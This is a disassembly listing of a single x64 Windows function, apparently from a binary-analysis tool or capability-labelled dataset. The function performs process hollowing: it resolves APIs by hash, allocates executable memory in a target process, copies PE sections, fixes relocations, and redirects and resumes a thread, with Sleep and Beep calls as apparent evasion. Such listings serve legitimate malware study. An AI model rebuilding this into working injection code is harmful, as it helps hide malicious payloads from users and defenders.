Function at 0x140002480
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x710
mov rax, qword [0x14003a020]
xor rax, rsp
mov qword [rsp + 0x700], rax
movsxd r13, dword [rdx + 0x3c]
mov rbx, r8
add r13, rdx
mov qword [rsp + 0x48], rbx
mov r14, rdx
mov qword [rsp + 0x60], r13
mov r12, rcx
mov edx, 0x2ce75e20
mov rcx, r8
call fcn.140001820
test rax, rax
je 0x14000286a
mov r8d, dword [r13 + 0x50]
xor edx, edx
mov rcx, qword [r12]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call rax
mov qword [rsp + 0x40], rax
mov r15, rax
test rax, rax
je 0x14000286a
sub rax, qword [r13 + 0x30]
mov edx, 0xc2348ae6
mov rcx, rbx
mov qword [rsp + 0x50], rax
mov qword [r13 + 0x30], r15
call fcn.140001820
mov qword [rsp + 0x38], rax
test rax, rax
je 0x14000286a
mov r9d, dword [r13 + 0x54]
xor ecx, ecx
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, qword [r12]
mov rdx, r15
call rax
test eax, eax
je 0x14000286a
movsxd rbx, dword [r14 + 0x3c]
xor r11d, r11d
cmp dword [rbx + r14 + 0xb0], r11d
je 0x140002566
mov rbx, qword [rbx + r14 + 0xb0]
jmp 0x140002569
mov rbx, r11
mov rbp, r11
mov qword [rsp + 0x30], rbx
mov esi, r11d
cmp r11w, word [r13 + 6]
jae 0x14000286a
mov rdi, r11
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r13 + 0x14]
lea rdx, [r13 + 0x18]
add rax, rdi
add rdx, rax
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x1400025b4
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb rbp, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r14
mov rcx, qword [r12]
lea rdx, [r15 + r10]
mov qword [rsp + 0x20], r11
call qword [rsp + 0x38]
test eax, eax
je 0x14000286a
movzx eax, word [r13 + 6]
inc esi
add rdi, 0x28
mov r11d, 0
cmp esi, eax
jl 0x140002590
test rbp, rbp
je 0x14000286a
mov rdi, qword [rsp + 0x48]
mov edx, 0x5f589629
mov rcx, rdi
xor ebx, ebx
call fcn.140001820
mov qword [rsp + 0x58], rax
mov r10, rax
test rax, rax
je 0x14000286a
cmp dword [rsp + 0x34], ebx
jbe 0x140002703
mov edx, 0x1000
mov r13, r15
nop dword [rax]
mov eax, dword [rbp + 0x14]
add rax, r14
mov r15d, ebx
add r15, rax
add ebx, 8
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x1400026ea
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0x14]
add rax, r14
mov ecx, ebx
add ebx, 2
movzx eax, word [rcx + rax]
cmp ax, dx
jb 0x1400026e0
mov edi, dword [r15]
lea r8, [rsp + 0x540]
mov rcx, qword [r12]
and eax, 0xfff
add rax, r13
add rdi, rax
xor eax, eax
mov rdx, rdi
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call r10
mov rax, qword [rsp + 0x50]
lea r8, [rsp + 0x540]
add qword [rsp + 0x540], rax
mov r9d, 8
mov rcx, qword [r12]
mov rdx, rdi
mov qword [rsp + 0x20], 0
call qword [rsp + 0x38]
mov r10, qword [rsp + 0x58]
mov edx, 0x1000
sub rsi, 1
jne 0x140002660
cmp ebx, dword [rsp + 0x34]
jb 0x140002630
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x4d0
call fcn.140008df0
mov edx, 0xbc939e36
mov dword [rsp + 0xa0], 0x10000b
mov rcx, rdi
call fcn.140001820
mov edx, 0x3e8
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0xdae715a2
mov rcx, rdi
call fcn.140001820
mov edx, 0x3e8
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x86b7ed06
mov rcx, rdi
call fcn.140001820
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x70]
mov rdi, rax
call rbx
test eax, eax
je 0x14000286a
mov ebx, 3
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x140002783
mov rdx, qword [rsp + 0xf8]
lea r9d, [rbx + 8]
mov rcx, qword [r12]
lea r8, [r13 + 0x30]
xor ebp, ebp
add rdx, 0x10
mov qword [rsp + 0x20], rbp
call qword [rsp + 0x38]
test eax, eax
je 0x14000286a
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, rax
test rax, rax
je 0x140002863
xor r9d, r9d
mov dword [rsp + 0x550], 0x1a8
lea r8, [rsp + 0x550]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x140002822
lea rdx, str.Dev:
lea rcx, [0x14003b2c0]
call fcn.140002c20
mov rcx, rax
lea rdx, [rsp + 0x554]
call fcn.140002c20
mov rcx, rax
call fcn.140002ef0
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [r13 + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [r12 + 8]
add rax, r15
mov qword [rsp + 0xf0], rax
call rsi
test eax, eax
je 0x14000286a
mov dword [rsp + 0x30], ebp
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov rcx, qword [r12 + 8]
mov dword [rsp + 0x30], eax
call rdi
mov eax, 1
jmp 0x14000286c
xor eax, eax
mov rcx, qword [rsp + 0x700]
xor rcx, rsp
call fcn.140006810
mov rbx, qword [rsp + 0x768]
add rsp, 0x710
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret